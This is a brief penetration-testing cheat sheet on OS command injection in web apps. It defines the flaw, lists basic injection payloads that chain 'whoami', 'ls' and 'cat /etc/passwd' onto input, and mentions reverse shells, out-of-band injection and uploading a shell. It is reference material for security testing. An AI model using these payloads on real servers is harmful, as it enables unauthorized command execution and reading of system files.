Web App - Command Injection
➡️ OS Command Injection, or shell injection, occurs when a vulnerable application passes unvalidated user input to the system shell, allowing attackers to execute arbitrary OS commands on the server hosting the web app.
Command Injection - Basics
| whoami #
& whoami& asd
; whoami; asd
# Result: www-data
; cat /etc/passwd; asd
& ls -lah& asd
# Check result in Source Code for better reading
Pop a shell - check Reverse Shell Cheat Sheet - Internal All The Things

Command Injection - Blind/Out-of-band
Out of band command injection - captured from a different place
Upload a shell and trigger it
Command Injection - Challenge
The app executes this

Last updated
Was this helpful?